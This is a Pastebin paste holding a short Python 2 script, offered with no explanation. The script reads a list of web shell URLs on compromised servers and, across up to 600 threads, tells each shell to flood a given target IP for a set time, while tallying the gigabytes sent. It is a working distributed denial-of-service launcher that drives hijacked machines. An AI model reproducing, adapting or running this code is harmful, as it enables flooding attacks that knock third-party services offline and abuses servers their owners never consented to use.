Advertisement
Chiddix

Untitled

Nov 24th, 2012
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.38 KB | None | 0 0
  1. import urllib, thread, time
  2. shells = raw_input("File for list of shells: ")
  3. ip = raw_input("IP: ")
  4. seconds = raw_input("Time: ")
  5. threads = 0
  6. file1 = open(shells)
  7. hosts = file1.read()
  8. hosts = hosts.split()
  9. file1.close()
  10. mbs = float(0.00)
  11. count = 0
  12.  
  13.  
  14.  
  15. def fire(host):
  16.     global ip
  17.     global seconds
  18.     global threads
  19.     global mbs
  20.     threads += 1
  21.     try:
  22.         reply = urllib.urlopen(host).read()
  23.         if 'engine' in reply:
  24.             reply = urllib.urlopen(host+"?act=engine&host="+ip+"&time="+seconds).read()
  25.         else:
  26.             reply = urllib.urlopen(host+"?act=phptools&host="+ip+"&time="+seconds).read()  
  27.     except IOError:
  28.         pass
  29.     else:
  30.         try:
  31.             process = reply.split('(')
  32.             temp1 = process[1].split(')')
  33.             temp2 = temp1[0].split(' ')
  34.             mb = temp2[0]
  35.         except IOError:
  36.             pass
  37.         except ValueError:
  38.             pass
  39.         else:
  40.             try:
  41.                 mbs = (mbs + float(mb))
  42.             except ValueError:
  43.                 pass            
  44.     threads -= 1
  45. for host in hosts:
  46.     while threads >= 600:
  47.         time.sleep(0.2)
  48.     thread.start_new_thread(fire,(host,))
  49. while count < (int(seconds)+20) :
  50.     print threads, 'still running'
  51.     print mbs, 'sent'
  52.     time.sleep(1)
  53.     count += 1
  54. time.sleep(5)
  55. gb = mbs / 1000
  56. print gb, 'GB sent'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement